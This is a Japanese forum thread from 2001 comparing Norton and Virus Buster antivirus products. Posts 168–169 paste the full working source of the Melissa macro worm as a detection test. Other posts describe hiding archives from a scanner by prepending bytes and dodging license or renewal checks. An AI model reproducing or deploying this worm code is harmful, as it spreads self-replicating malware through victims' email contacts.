NAI本社のほうでも、バスターのことなんか完全無視して
McAfee6.0とNorton AntiVirusを比較しているし。

どちらもトレンドマイクロは眼中に無いみたい・・・・

157 :名無しさん@お腹いっぱい。:01/12/02 01:38
トレンドマイクロって世界で見たらあまりシェア無いんじゃない?

158 :名無しさん@お腹いっぱい。:01/12/02 06:51
質問が不適切かも知れませんが

ノートン2002って1つのライセンスで複数台のPCにインストして動作させる事は
出来るのでしょうか?(ライセンス違反は承知の上で)
バスターは複数台どころか同一PCのデュアルブートでもOSごとにライセンスが
必要だった気が…

159 :名無しさん@お腹いっぱい。:01/12/02 07:00
>>158
なぜ、そんな情報が必要なのか?

160 :名無しさん@お腹いっぱい。:01/12/02 14:33
能豚はインストールするときにシリアルの登録が無かった
インストールしてユーザー登録したらシリアルが貰えた・・・
コレってピーコ簡単に出来るのではないのかなァ・・・(-_☆)キラン

161 :決めました:01/12/02 17:09
このスレ読んで、
ノートンinternetセキュリティ 2ユーザーパック買うことに決めました。
場合によってアンチドートも頭の隅に置いておきます。

162 : :01/12/03 03:35
CATVでネット繋げてるんだけど、FW機能が優れてるノートン先生か、
それとも、ウイルス対策に強いバスターとどっっちがいいですかね?

163 :名無しさん@お腹いっぱい。:01/12/03 07:13
>>162
俺もCATVだけど
バスターのFWを切ってゾーンアラームにFWをまかせる
ノートンに全てを・・・

両方、試してみたけど
自分はノートン派かな
たしかにウィルス探知を比べるとノートンはバスターの2倍は時間
がかかるし(ウィルス探知)圧縮ファイルとか凄い時間かかる。。
でもノートンは軽いしFWはまかせられるし、細かい設定が出来るのが嬉しい

両方ともメーカーのサイトから体験版が落とせるから
とりあえず使ってみれば?

164 :名無しさん@お腹いっぱい。:01/12/03 22:01
NIS2001 Ver2.5を使ってるけどWinXPを入れたらAuto-Protectが使えなくなったんで
対応している物にしたいと思ってます。
ノートンのFWが気に入っているのでNIS2002が有力なのですが、ADSL回線だと
通信速度が遅くなるのでしょうか?
別マシンでウイルスバスター2001も使ってますが、バスターはどうも好きに
なれないので。

165 :名無しさん@お腹いっぱい。:01/12/03 22:16
: :

166 :名無しさん@お腹いっぱい。:01/12/04 03:22
トレンドマイクロ■もう一度ウイルスバスター使ってみようキャンペーンのご案内

ってのがメールで来た。
4000円で購入できるらしいけど、これって安いのかな?
バスター2000からNAV2001に乗り換えたけど、XPには正式対応してないし、正直どうしようか悩むなぁ。

167 :166:01/12/04 03:29
ベクター見たけど、全然安くないな・・・

168 :名無しさん@お腹いっぱい。:01/12/04 04:07
バスターは見分ける。ノー沌は引っ掛かる。
ほらっ!
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

169 :名無しさん@お腹いっぱい。:01/12/04 04:07
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

170 :ななひ:01/12/04 04:15
お〜ほんとだ、上のカキコnortonはウイルスにしちまったい
って、おれめちゃ厨房だからまじ、これ大丈夫?

171 :名無しさん@お腹いっぱい。:01/12/04 16:49
バスターとノートンどちらも持っていますが
↑にノートンは掛かったがスキャン能力
バスターに勝っていると思われる何故ならバスターが見つけられなかったウイルスを
ノートンが見つけたから(単純)
偏見かもしれませんがノートンをオススメします

172 :ノートン使ってるが:01/12/04 16:53
>>171
書き込みを感知されてもねぇ…
馬鹿ふぃーと同じじゃん。

173 :名無しさん@お腹いっぱい。:01/12/04 17:56
俺のNortonは感知しないんだが・・・
ローカルに保存するとちゃんと怒られるんだけどな。

174 :名無しさん@お腹いっぱい。:01/12/04 20:26
> 書き込みを感知されてもねぇ…
Webページ内の本当のウイルスのソースコードと、Webページ内の単なる書き込みのウイルスソースコードは、どちらもシステム的には等価と言っても差し支えないので、これを非難するのは少々酷かと。

> 俺のNortonは感知しないんだが・・・
> ローカルに保存するとちゃんと怒られるんだけどな。
つまりファイルの書き込みクローズに対してフックしているわけで、少々えらそうな言い方ですが、まあまあ真っ当な状態だと思います。

175 :水泥棒!「「菊池記念館」」:01/12/04 23:07
Macro.src −ノートン大先生では反応する。

176 :174:01/12/04 23:14
前言撤回。よく見たらスクリプトではなくマクロでした。ごめんなさい。

177 :名無しさん@お腹いっぱい。:01/12/05 00:21
こないだ
I Love Youに引っ掛かるスレがあったなあ

178 :名無しさん@お腹いっぱい。:01/12/05 00:22
サポート体制はどうよ。ノートンスレではシマンテックは最悪と
書かれてるが。ウイルスバスターの会社はどうなの?

179 :名無しさん@お腹いっぱい。:01/12/05 01:30
>177
持っているがばすたー2002では引っかからないぞ

180 :名無しさん@お腹いっぱい。:01/12/05 03:33
ノートンやバスターの2001のスレがありませんが
ココを使ってもいいですか?

181 :名無しさん@お腹いっぱい。:01/12/05 04:55
バスター2002は、バスター2002の方で書いたけど、何が原因なのか
わからないけど、接続エラープロキシが間違ってるとかメッセージが
でて、パターンが更新されないことがあるよ。
再インストールして試したり色々やって大変だったよ

182 :名無しさん@お腹いっぱい。:01/12/05 14:49
>>181
同じことが有りましたよ
串使ってないのに串が間違っていますとか出て更新できなかった
まぁ再起動したらナオッタケド(T_T)

183 :名無しさん@お腹いっぱい。:01/12/05 19:32
>>181
よくなるよ。で、ゾーンアラーム切ったらできた。

184 :名無しさん@お腹いっぱい。:01/12/05 22:45
どうもpc−シリン(つづりわからん)が一部破損してしまうらしい>バスター
それでアップデート不可状態になる。(プロキシの設定を云々のメッセージ)

185 :名無しさん@お腹いっぱい。:01/12/05 22:49
ここは両社員の書き込みもあるから、皆さん注意して。

186 :もナー:01/12/05 23:06
そもそも、インターネットとかネットワークに接続しなきゃウイルスなんて関係ないんだよ。
ってPC-DIYに書いてあった。

187 :名無しさん@お腹いっぱい。:01/12/05 23:08
>>186
ンナこと言ったって…

188 :ぢっけん君:01/12/05 23:21
未だに、異様に長いファイル名ファイルスキャンすると落ちる。
>バスター2001、win2kSP2の場合。
バスタ2002/ノートンはどうなの??2kSP2が悪いの?
試しに、チェク用ウイルス反応有り適当ファイル、名前aだけ12X17
コ打ち込み、バスタ君に食わせる->一応食うが->(゚д゚)マズー と言い
ながらヤッパリ落ちる。
QUARANTINEには確かに隔離されてるが、システムフルスキャンすると
今度はQUARANTINEフォルダに差し掛かると落ちる。
更にウイルスとして隔離されたため、バスタ君常駐殺さないとQUARAN
TINE内の該当ファイル削除できない。つかフォルダごと捨てないとダ
メ。
コレってprogramデレクトリに有るから、通常のスキャン順番だと
systemフォルダに行く前に、バスタ君気絶しちゃうのよ。
何とかしちくり>トレンド母ちゃん。ぢつは前から外出ネタだと思うが。

w2kSP2だと、単に名前長すぎファイル右クリでエクスプローラ落ちるの
ね。コレも関係有るのかなぁ〜〜
オバフロ絡み?だとすれば、ファイル名になんかコマンド混ぜると実行
できたり?専門家ぢゃないし、めんどくさいから検証はしない。

189 : :01/12/06 02:08
ウイルスバスターだけ品薄なんですね。
でも、Badtrans騒ぎの稼ぎ時に品薄とは・・・。

190 :名無しさん@お腹いっぱい。:01/12/06 02:10
なんかこのスレのタイトル、「マスターキートン」に見えた。


早く寝よう…

191 :名無しさん@お腹いっぱい:01/12/06 02:16
今日新宿のヨドバシ行ったんだけど、アンチウイルス系ソフトがガンガン売れてました。
18〜19時の間何となく見てた感じだと
買ってる商品、ノートン10としたらウイルスバスター3くらいだったかな
シマンテックは販促員を置いていたからかもしれないし、
カウントとってたわけじゃないから正確なトコロはわからないけど。

192 : :01/12/06 15:02
年末って安くなりそう?

その前に、どっち買うか決めないと!!

193 :名無しさん@お腹いっぱい。:01/12/06 15:05
安くならなくたってそんなに高くないじゃん。
だいたい6000円も出せば買えるんじゃないの?

194 :名無しさん@お腹いっぱい。:01/12/06 15:11
バスター12/20まで入荷しないってドユコト!?
それまでつなぐなってことかよオーイエー!
いいよ、ノートンにすかっから……。

195 :名無しさん@お腹いっぱい。:01/12/06 19:27
オンライン販売で買え

196 :名無しさん@お腹いっぱい。 :01/12/06 20:26
ヤパーリノートン?
でも、ノートンって難しそうなイメージがあるんだよね・・・。
アンチウイルスとFWのソフトは他に入れる気はないから、
この2つのどちらかに決めたいんだけど、、、どうしよう?

197 :名無しさん@お腹いっぱい。:01/12/06 22:40
VBのファイアーウォールは役にたたんぞ

198 :名無しさん@お腹いっぱい。:01/12/07 00:43
所詮ソフトのファイアウォールなんて気持ち程度の物だから
どれでもよさげ。

199 :スレ作者:01/12/07 08:57
熱い議論を交わしてますね(熱いのか・・?)
次ぎで200UP!

200 :Gone.W32:01/12/07 09:14
バスターは圧縮ファイルの検知が遅すぎ。特に2002はサイテ―
DLファイル保存してるフォルダ開いたら何も出来なくなってしまうし。
なので LZH とかファイルの先頭に 00,00,00,00 とか追加してバスターが
検知しないようにしてる。でも unlha32.dll とかはLHA認識OK!
ノートンはこんなストレス感じたことないよ。
で、ノートンの勝ち

201 :名無しさん@お腹いっぱい。:01/12/07 15:13
>>200
>>43と全く逆の事を言っているな(w

202 :名無しさん@お腹いっぱい。:01/12/07 16:08
むむむ。
ますます混迷の度が深まってきました。

203 :名無しさん@お腹いっぱい。:01/12/07 18:28
それほどパソコンに詳しいわけじゃないんだけど
ADSL接続に変更したからウィルス対策ソフトを入れようと考えてるけど
ノートンかウィルスバスターのどちらがいいかわからないんだけど
厨房にあっているのはどっち?

204 :名無しさん@お腹いっぱい。:01/12/07 20:18
>>201
200ではないが、バスターは圧縮ファイルのスキャン時に固まるのよ。

205 :名無しさん@お腹いっぱい。:01/12/07 20:40
ノートンは猫のうんち

206 :    :01/12/07 23:42
>>203
厨房を自負するのなら文句なしにバスターだろう。
デフォルト設定で特に不便もないからね。

207 :如水:01/12/08 08:03
Norton AntiVirusでも、大半のユーザーにはデフォルト設定で十分だよ。
いざ検出って時にも、
ウイルス駆除ウィザードが「推奨」の設定をそのつど明示してくれるから、
初心者に判らないことはないと思う。

むしろユーザ自身の手で処理させることにより、
危機を自覚させる必要があるんじゃないかな、
今後のウイルス対策を自主的に行ってもらうためには。

ウイルス混入を許した原因をユーザ本人に発見させる、
ユーザ本人に塞がせる、そこまで実現してこそ、
初めて「対策完了」と言ってよいと思う。

この観点からすると、既存のウイルス対策ソフトは、
どれもこれも「事後処理」の要素が欠落していると思う。

つまり「ウイルス対策アドバイザ」としての機能が
あったほうがよいのではないかと思う。

俺的には、ウイルスバスターじゃ親切すぎると思う。
なにも全自動処理する必要はないんじゃねえかなあ・・・・・・。

208 :水泥棒!「「菊池記念館」」:01/12/08 12:05
<%

Const adTypeBinary = 1
Dim strFilePath

Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition","attachment; filename=calc.exe"

strFilePath = Server.MapPath(".") & "\calc.exe"

Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Open
objStream.Type = adTypeBinary
objStream.LoadFromFile strFilePath

Response.BinaryWrite objStream.Read

objStream.Close
Set objStream = Nothing

%>

209 :水泥棒!「「菊池記念館」」:01/12/08 12:07
http://msgs.securepoint.com/cgi-bin/get/bugtraq0111/202/2.html

210 :名無しさん@お腹いっぱい。:01/12/08 22:12
どっち?

211 :どっちの対策ソフトショー:01/12/08 22:18
関口・三宅「今年のウイルス対策は、どっち?」

♪たらーたららららら〜

ビ○・ゲイツ「(放送できません)」
スティーブ・チャン「バスター2002!」
ノートン先生「インターネットセキュリティ2002!」
naiの人「まか(以下略・退場)」

212 :名無しさん@お腹いっぱい。:01/12/09 21:33
ノートンインターネットセキュリティってアンチウイルスとファイヤーウォールの
2つのソフトがはいってるんですよね?
中身の機能は同じですか?

213 :名無しさん@お腹いっぱい。:01/12/09 21:35
同じって・・・

214 :名無しさん@お腹いっぱい。:01/12/09 23:00
>>212
違うよ。つーかその双方は役割が全然違う。
…ちょっとまともに答えてみる(w

215 :名無しさん@お腹いっぱい。:01/12/09 23:52
>>212が言ってるのは、NIS=NAV+NPFなのか?ってことだろ。
ほぼ同じ。NISだと何か機能が付けたされてたけど忘れた。

216 :NAV2002本日購入:01/12/10 00:53
>>212
NIS=NAV+NPFW+広告ブロック機能+有害サイトアクセス制限機能(w

217 :名無しさん@お腹いっぱい。:01/12/10 22:09
ノートンはOS再インストールして
ノートンも再インストールすれば
更新料なんて払わずに永遠使えるんだが

バスターもこのような
更新料を払わなくても使える裏技あるの?

218 :名無しさん@お腹いっぱい。:01/12/11 15:06
おれノートン使ってるんだけど昨日こういうのがおきた。

media playerを遮断にしてるのになんでこれが見れるの?
例のマーシーの動画
http://www.geocities.co.jp/Outdoors-Mountain/4950/X02.swf

FLASHという意見もあるがフラッシュって何?
ファイヤーウォールは高なんだけど何の警告もなしに動画が流れた。
これって問題ないんかい。

バスターはどういう反応をしめすの?教えてよ。

219 :名無しさん@お腹いっぱい。:01/12/11 15:16
FLASHも知らんのか・・・。
ただ、ファイヤーウォール高だとActiveX遮断するか聞いてくると思ったが。

220 :名無しさん@お腹いっぱい。:01/12/11 15:16
>>218
あほー(;´Д`)

221 :名無しさん@お腹いっぱい。:01/12/11 15:19
>>218
マルチやめろ。

222 :名無しさん@お腹いっぱい。:01/12/11 15:20
>>219
>ファイヤーウォール高だとActiveX遮断するか聞いてくると思ったが。

それがあれば驚かんとです。なんもなしに流れ出したとです。

223 :名無しさん@お腹いっぱい。:01/12/11 16:06
>>218
ノートンファイヤーウォールの設定は高にしていたが、
使用ブラウザの設定はActiveXを許可していたのでは?

以前ノートンでクッキー切っててもIEで許可してると
許可扱いになってたことがあるから、IEの設定もきつめにしてる。

224 :名無しさん@お腹いっぱい。:01/12/11 16:17
つーかファイヤーウォールは「悪意のある」ActiveXを遮断するだけで
普通のActiveXは通すだろ



・・・それとFLASHくらい知っとけヴォケ

225 :名無しさん@お腹いっぱい。:01/12/11 16:20
署名済みのActiveXってことだ。

226 :名無しさん@お腹いっぱい。:01/12/11 16:21
NIS2002、IE6でそれぞれクッキーをオフにしてるんだが、
なぜかfortunecityとかsextrackerのクッキーをつくりやがる。
あとdoubleclickとか。なぜだ?

227 :名無しさん@お腹いっぱい。:01/12/11 17:01
WORM_ALIZ.AにやられたんでWIN98SEをHDDフォーマット後に入れ直したけど
IEのパッチあてた後にどこにも行かず、オンラインスキャンかけると
http://www.trendmicro.co.jp/virusinfo/default3.asp?VName=JS%5FPLAY%2EA
こいつが出てくる、なんでだ?
起動DISKは書き込み不可でOSはCDからクリーンインストールしてるのに・・・

228 :名無しさん@お腹いっぱい。:01/12/11 17:09
>>226
これ?

95 名前:名無し~3.EXE 投稿日:01/12/03 18:25
つか
ttp://headlines.yahoo.co.jp/hl?a=20011203-00000008-vgb-sci
悲しすぎる


96 名前:名無し~3.EXE 投稿日:01/12/03 18:26
ついでに上記のリンク内のリンク
ttp://www.microsoft.com/japan/support/kb/articles/JP298/7/80.asp

229 :名無しさん@お腹いっぱい。:01/12/11 17:14
バスターどこ行っても売り切れだよ
あるのは脳豚だけ
脳豚は英語版をただ日本語化した感じであんまり印象よくない
さっきも店で脳豚買ったおっさんが店員に文句垂れてた、IEが仕えなくなったとかいって
バスターと交換しろと詰め寄ってた。
バスター売り切れの札の横で脳豚山積み、店員がこれでも大丈夫ですと言っても
誰も買おうとしないのが笑えた。
手動でやらなきゃならないのが嫌われる理由だろうなぁ、おれも面倒なの嫌だし。
バスター早く増産してくれよ

230 : :01/12/11 17:27
>>226
ベクターもバスター押してるね。
要は、バスターはお子さま初心者向けってことかな。
機能設定の面でみると、比べちゃ失礼なくらい。

231 : :01/12/11 17:29
>>229
誤爆。すまん。

232 :名無しさん@お腹いっぱい。:01/12/11 17:29
>>229
ノートン、デフォでもIE使えたんじゃないかな?
どこか弄くって使えなくしてしまったんだろうな。

233 :226:01/12/11 17:32
>>228
おお、サンクス。
しかし、結局は対処療法ってことじゃん。
おちおちエロサーフィンもできやしない。

234 :名無しさん@お腹いっぱい。:01/12/11 17:38
VBって2001から2002は無料アップなの?
あと、更新料だけどノートンは更新日が来る前に
再インストールするとカウンターがリセットされるけど
VBはだめみたいだね。

235 :*:01/12/11 17:39
>>230
自分も前から気になってた。
なんでベクターはVB押すんだろ?

236 :名無しさん@お腹いっぱい。:01/12/11 17:52
>>223
それならなんでこれ以外の悪意のなさそうなのでもきっちり警告するんだ?
>>224
それは中だろ。高は全てのを表示するはずだ。

237 :名無しさん@お腹いっぱい。:01/12/11 18:08
>>218はシマンテックに質問してみなよ。
結果も教えてね。

238 :名無しさん@お腹いっぱい。:01/12/11 18:34
Meとノートンは相性がかなり悪いらしいので、バスターに1票!

239 :名無しさん@お腹いっぱい。:01/12/11 18:38
>>237
元ネタが消されてる。だから無理。
なんでこんだけ盛り上がってるときに
あの名作が消されるんだ?

240 :名無しさん@お腹いっぱい。:01/12/11 18:48
>>235
プロレジで扱ってるからじゃん。

241 :テスト:01/12/11 18:49
テスト

242 :227:01/12/11 20:43
自己レスです
OSをクリーンインストールしてもトロイが検出された件ですが解決しました。
犯人は窓の手でした
窓の手ver5.53を入れると、トロイJS_PLAY.Aが検出されます
配布元の掲示板にこの事が報告されてるけどTOPには注意書き無し

2日も悩んだよ、全く。
実害は無いみたいだけど気分悪いからもう二度と使わん

これからも”被害者”でそうなんで一応報告

243 :名無しさん@お腹いっぱい。:01/12/11 21:03
ノートン死去

244 :名無しさん@お腹いっぱい。:01/12/11 21:18
NIS2002は使い勝手が悪いみたいだよ。
VBはFW機能がクソって聞く。
知識のある人はNIS2002、面倒が嫌な人はVBかな。

245 :名無しさん@お腹いっぱい。:01/12/12 01:16
>>242
ナイスな書き込み産休です!
私もトロイJS_PLAY.Aに悩まされてたんです。
窓の手ver5.53が原因だったんですね。
ヤラレタ!って感じです・・・

246 :  :01/12/12 01:28
脳dの更新料っていつ払うの?

247 :名無しさん@お腹いっぱい。:01/12/12 01:46
バスターのアンチウイルス + ウインドウズXPのFW か、
ノートンのアンチウイルスとFWのセット(NIS)では、
どちらが良いと思いますか?

248 :名無しさん@お腹いっぱい。:01/12/12 05:41
>バスターのアンチウイルス + ウインドウズXPのFW か、

WindowsXPのファーやーウォールは、マイクロソフト自身が、
万全の防衛機能を提供するものではないとアナウンスしている。

とーぜん、ノートンで統一に一票。

249 :名無しさん@お腹いっぱい。:01/12/12 10:53
XPはノートン、98はAVG+ぞぬ使ってます。

250 :名無しさん@お腹いっぱい。:01/12/12 12:52
うちのと会社のが同時にマカエラー起こしたので、アンインストして、
会社のにノートン・うちのにバスターの体験版を入れてみた。
ノートン、ガードは固そうだけど、厨房にはめんどいな。
ネットワーク組んでるんだけど、プリントアウトがうまくいかない。
しょちゅうジョブをため込んでしまう。
何とか解決しなきゃ。ややこいのう・・・。

251 :   :01/12/12 14:53
バスター2002、簡単で使いやすいと言う文句に引かれて買ったが地獄だった。
ソニーVAIOのノートだから別段変わったパソでもないのに、スタートアップに
毎回35分かかった。しかも重くて、IEのアイコンをクリックしてから
開き終わるまでに7分以上かかる。カーソルがもたついて、作業どころじゃない。
で、サポート係に電話したら解決しなくて、代わりに長いメールが来た。
「これを試して結果を送って」とinstructionがかいてあるけど、
一般人には理解できない内容だった。面倒だからリアルタイム検索をオフにして
使ってるけど、なんの為に買ったのかわからない、、、、、、、、、
今までノートンでは問題なかったのに。

252 :名無しさん@お腹いっぱい。:01/12/12 15:01
>>251
いくらなんでもそれは異常なのでは・・・

253 :ななすい:01/12/12 15:11
>>251
35分か、ものすごいですね。

254 :名無しさん@お腹いっぱい。:01/12/12 15:16
バスター飼う奴は、ある意味神

255 :   251:01/12/12 15:33
すみません、長かった。
つい3日前にはアメリカのヤフーのトップページを見ようとすると
必ず買い物ページ(ヤフー内)へ勝手に連れて行かれるようになった。
どこから行ってもヤフーに行かれなくなって、履歴を全部消したら
解消しました。まいにちなにがおきるのかどきどきしつつ。

256 :(・∀・):01/12/12 15:39
バスターはサポートが最悪。
すぐに「まぁ、再インストールするしかないですねー」
という。
そういう憂き目にあいたくないから入れたんでしょうが。
アタマに来て、尻アル番号をあちこちで公開してやろうかと思った!

257 :名無しさん@お腹いっぱい。:01/12/12 16:32
結局どっちがいいの?
いずれにしろ買わなきゃならんのよ。
バスターの方が簡単そうだけど。

258 :名無しさん@お腹いっぱい。:01/12/12 16:42
ノートンにしとけ。

259 :名無しさん@お腹いっぱい。:01/12/12 17:00
>>256
同意です。最悪というか、こちらでは把握してませんって投げやり。

260 : :01/12/12 17:03
>>257
仮にもセキュリティ関連のソフトが簡単であるということが大問題だと思うのだが

261 :(・∀・):01/12/12 17:29
ノートンをお勧めします。
多少わずらわしいかもしれないけど、インストールしちゃえば
後は問題ないし(pcによっては少し重くなるけどね)、ウイルス等に
やられてマシンを復旧させる手間を考えたら、ノートンを入れておくのが
いいでせうね。
>>259
ま、トレンドマイクロなんてのは企業としてのモラルなんか持ち合わせて
ないんだろうね。

262 :名無しさん@お腹いっぱい。:01/12/12 17:30
バスターがいい。ノートンは書き込み、メールの問題等、問題山済み。
普通の人がやるだけならバスターが絶対いいよ。

263 : :01/12/12 17:31
まあ、何も考えず「入れてる」ってことだけで安心したいならバスターお勧め

264 :名無しさん@お腹いっぱい。:01/12/12 17:32
ノートンのサポートが言い分けないだろ。この手の話はノートンスレ
参照。

265 : :01/12/12 17:33
ノートン・・・悪
バスター・・最悪
俺的評価

266 ::01/12/12 20:42
>>264
両方を(ノートン・バスター)使ってたから分かるけど、確かにどっちも悪い。
シマンテックは無愛想でマトモな返答をしてくれないし、トレンドマイクロは無知で
マトモな返答をしてくれないし。

よってウイルス警備隊に1票

267 :名無しさん@お腹いっぱい。:01/12/12 20:53
>>266
チョソは帰れ(・∀・)

268 ::01/12/12 21:02
え、韓国製品なの?
俺ホントは、ぜんぜんわかんねーんだよウイルス警備隊(w

じゃあマジレスするとノートンのインターネットセキュリティを使うか
ウイルスバスターにフリーのFWソフトを使うか
このどちらかじゃない?(ソフト面でのセキュリティでは)

269 :名無し:01/12/12 21:29
NAV+ZoneAlarm どう?

270 :名無しさん@お腹いっぱい。:01/12/12 21:51
>>269
オレは正にその組み合わせ(w

271 :名無しさん@お腹いっぱい。:01/12/12 22:16
私が電話をかけたときの担当は感じのいい男だったからそんなに悪い印象はないけど、
そういやかんじんのことは「そういう情報はきてない」みたいにいわれたな。

272 :名無しさん@お腹いっぱい。:01/12/12 22:36
このスレおもれー

273 :名無しさん@お腹いっぱい。:01/12/12 23:57
NAV+フリーFWの組合せの人も多いみたいだけど
わざわざNPFを外してる理由はなんですか?>NISで買った人達

274 :名無しさん@お腹いっぱい。:01/12/13 01:01
ここは明らかにノートンの社員が住んでるね。みっともないから止めたほうがいい。

275 :名無しさん@お腹いっぱい。:01/12/13 01:16
SONYはアメリカではバスター、国内ではそれ以外(ノートン?)入れてるらしい。
アメリカでの販路を広げてやるのが目的だそうで。

276 :名無しさん@お腹いっぱい。:01/12/13 11:16
>>274
え?
じゃあ、バスターにしようかな・・・。
でも今、品切れなんだよね・・・?

277 :名無しさん@お腹いっぱい。:01/12/13 16:14
不利になると社員とか工作員とか言い出すのもみっともないと思うよ

278 : :01/12/13 18:16
バスターのシェア率高いのはメーカー製品にくっつけて貰うことに全勢力を注いでるから

279 :名無しさん@お腹いっぱい。:01/12/13 18:36
>>274
頭悪いぞ。

うーん。社員がどーとかはしらんけど、オレはノートン派
別に理由はないが。
てか、昔から使ってたが理由か

280 :名無しさん@お腹いっぱい。:01/12/13 18:43
性能の良いはずのバスターだが、日本以外ではシェアが低いんだな。
そんなに良いのならもっとシェアが増しても良いと思うが。

281 :名無しさん@お腹いっぱい。:01/12/13 18:58
他国のソフトを使いたがらない国民がいるだろうし、
参入させたくないメーカーがいるからねー。

282 :名無しさん@お腹いっぱい。:01/12/13 22:44
初心者にとってはてきとーにクリックしてインストールできて、
アプリケーション立ち上げるたびにバスターのマークが出てくるのが
安心感ある。これで重くなければ最高だったんだよ、、、

283 :名無しさん@お腹いっぱい。:01/12/13 23:13
当方 ウインドウズMEで ウイルスバスターの2002をインストール
してて インテリジェントアップデートを設定してるんですが 全然 ファイルの
更新のダイアログが出てこないので さ歩センに電話したら ウインドウズの
設定を変える事で 治るって言ったんですが ウインドウズの設定は 当社の
管轄外とか言って 教えてもらえませんでした・・・・・・・・
何方か 詳しい方 教えてもらえませんか??

284 :名無しさん@お腹いっぱい。:01/12/14 01:36
>>283
これが噂の社員さんですか?バスタースレで聞きなさい。

285 :名無しさん@お腹いっぱい。:01/12/14 04:46
SystemWorksのワンボタンチェックが便利なので、まとめてノートン入れてます。
でも「ノートンごみ箱」がすごくかっこ悪かったので、UnerazeWizardをはずして入れなおしました。
最初は2ちゃんなどに書き込めなくて戸惑ったけど、検索したらすぐに設定法が見つかったので問題なし。

286 :名無し:01/12/14 11:48
NIS2002を使ってますが、VB2002の体験版を使ってみたい。
体験版はエンジンのアップデートばかりか、定義もアップできないと
聞いたので、結局NISになるのか。

287 : :01/12/14 12:14
>>284
>>283は質問スレからの転載だな

288 :名無しさん@お腹いっぱい。:01/12/14 15:24
どっちも持ってるけど、ノートンの方が使いやすいよ。

289 : :01/12/14 20:11
NAV + BlackICE Defender どう?

290 :43:01/12/15 00:08
>>43でNAV2001とVB2001のベンチマークをした人間再登場(w
オレはFWが要らない(ZoneAlarmを使用)ので結局NAV2002を買ったが、NAV2002は全ファイルスキャンが
NAV2001に比べて速く(>>43と同じPCでファイルが増えてるのに19分58秒)なってた…

ただ、IDEインターフェースカードのドライバを>>43のベンチマーク後にアップデートしたからその影響の可能性も(w

291 :マンマン:01/12/15 02:50
symantec関係者でーす。今、非常に忙しいので、Norton製品を買うのはやめてちょ♪
ウィルスバスターは糞だけど。McAfeeは最悪だし。。。
 でも、Norton製品買っても、今はサポートセンターもいっぱいなので、とりあえず、今は買うな。

292 :名無しさん@お腹いっぱい。:01/12/15 03:16
ノートンのサポセンって、正月休みらしいよ

293 : :01/12/15 03:41
test

294 :名無しさん@お腹いっぱい。:01/12/15 03:48
>>291
トレンドマイクロもまるでサポセンが繋がりませんよ…

295 :名無しさん@お腹いっぱい。:01/12/15 13:36
NIS使ってるけど、FWはかなりうざく感じる。
一度NAV+ZONEにしてみようと思うんですが、
どうでしょうか?
この場合って、ZONEをインストールして、FWを無効にしとけば
いいの?それともNIS自体を削除して、NAVだけ再インストール?

296 :教えてクン:01/12/16 00:12
たったいまバスター2002からノートンに乗り換えました。
FWはBlackICEを使っているんでどうでも良いです。
